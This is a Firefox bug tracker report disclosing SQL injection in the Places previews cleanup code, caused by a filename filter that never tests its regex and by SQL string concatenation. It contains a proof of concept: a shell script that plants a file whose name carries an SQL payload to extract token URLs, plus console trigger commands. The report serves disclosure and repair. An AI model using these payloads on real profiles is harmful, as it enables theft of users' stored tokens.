SQL Injection in PlacesPreviews.sys.mjs deleteOrphans() via Broken Filter and malicious file created in the profile
Categories
(Toolkit :: Places, defect, P3)
Tracking
()
People
(Reporter: cy1yang, Unassigned)
References
Details
(Keywords: reporter-external, sec-audit, Whiteboard: [unsupported feature, requires local file access][sng])
Attachments
(1 file)
|
2.32 KB,
text/javascript
|
Details |
User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Steps to reproduce:
Quick Validation
Paste the attached poc.js in Browser Console (Ctrl+Shift+J / Cmd+Shift+J) and run.
It would first enable the places.previews.enabled option and then inject the SQL to grab the tokens stored in your browser.
File-based - Real Attack Scenario
# Find Firefox profile directory
# For MacOS, it should be ~/Library/Application Support/Firefox/Profiles
PROFILE=$(find ~/.mozilla/firefox -name "*.default*" -type d 2>/dev/null | head -1)
# Create places-previews directory
mkdir -p "$PROFILE/places-previews"
# Create file with SQL injection payload to extract tokens
touch "$PROFILE/places-previews/' || (SELECT url FROM moz_places WHERE url LIKE '%token%' LIMIT 1) || '.webp"
echo "Malicious file created in: $PROFILE/places-previews/"
Step 2: Wait for automatic trigger OR trigger manually
Option A - Automatic (no console required):
deleteOrphans()is called automatically byPlacesDBUtils.maintenanceOnIdle()- This runs during browser idle time (approximately every 7 days)
- If
places.previews.enabledis true, the SQL injection will execute automatically
Option B - Manual trigger (Browser Console: Ctrl+Shift+J):
Services.prefs.setBoolPref("places.previews.enabled", true);
ChromeUtils.importESModule("resource://gre/modules/PlacesPreviews.sys.mjs").PlacesPreviews.deleteOrphans();
Step 3: Observe SQL injection in Browser Console
Actual results:
For quick validation, you will see:
=== PlacesPreviews SQL Injection - Token Extraction PoC ===
Adding simulated sensitive URLs to history...
Added: https://api.github.com/user?access_token=ghp_SECRET...
Tokens in Places database:
🔑 access_token = ghp_SECRET_TOKEN_12345
SQL Injection payload: ' || (SELECT url FROM moz_places WHERE url LIKE '%token%' LIMIT 1) || '
✓ SQL injection confirmed: payload reached DB
=== VULNERABILITY CONFIRMED ===
For file-based,
Services.prefs.setBoolPref("places.previews.enabled", true);
ChromeUtils.importESModule("resource://gre/modules/PlacesPreviews.sys.mjs").PlacesPreviews.deleteOrphans();
Promise { <state>: "pending" }
Error: Error(s) encountered during statement execution: near ")": syntax error Sqlite.sys.mjs:1093:25
This proves the vulnerability:
- ✅ The malicious filename bypassed the broken filter
- ✅ The filename content reached the SQL engine
- ✅ The
)character from our payload caused an SQL syntax error
Expected results:
Analysis
SQL injection caused by two bugs in deleteOrphans() (lines 386-415, toolkit/components/places/PlacesPreviews.sys.mjs):
Bug 1: Broken Filter (Line 393)
.filter(() => /^[a-f0-9]{32}\.webp$/) // BROKEN: Never calls .test()
The arrow function () => /regex/ returns a truthy regex object for ALL elements, never actually testing filenames.
Bug 2: SQL String Concatenation (Line 402)
VALUES ${hashes.map(h => `('${h}')`).join(", ")}
Filenames concatenated directly into SQL without parameterized queries.
Affected Code
PlacesPreviews.sys.mjs:393
.filter(() => /^[a-f0-9]{32}\.webp$/)
PlacesPreviews.sys.mjs:402
VALUES ${hashes.map(h => `('${h}')`).join(", ")}
Expected results
- Filter should test filenames:
.filter(f => /^[a-f0-9]{64}\.webp$/.test(f)) - Use parameterized queries (correct pattern exists at lines 170-176)
Comment 1•26 days ago
|
||
Create file with SQL injection payload to extract tokens
touch "$PROFILE/places-previews/' || (SELECT url FROM moz_places WHERE url LIKE '%token%' LIMIT 1) || '.webp"
Presumably this requires local file access? Is there any way to cause such a file to be created from the web?
If you have local file access, you could just read the sqlite file, right?
Oh, thanks so much for pointing that out — and for the quick response!
Yes — the file-based PoC assumes the attacker can create a file under $PROFILE/places-previews/. I’m not aware of a web-only path to do this.
If the attacker already has full read access to the profile, they can read places.sqlite directly, so the practical severity is reduced.
Thus, this looks more like a correctness/safety bug: the filename filter is ineffective and untrusted strings are concatenated into SQL
Updated•25 days ago
|
Comment 3•22 days ago
•
|
||
Fwiw, places.previews.enabled is not an officially supported pref, it is a reimnant from a different project that potentially we planned to reuse in the future, after an appropriate review pass. The pref is hidden and must be explicitly created.
It's a good idea to add some sanity check anyway, and better consider this attack path in the future.
Updated•20 days ago
|
Comment 4•20 days ago
|
||
The bug has a release status flag that shows some version of Firefox is affected, thus it will be considered confirmed.
Updated•19 days ago
|
Updated•15 days ago
|
Updated•15 days ago
|
Description
•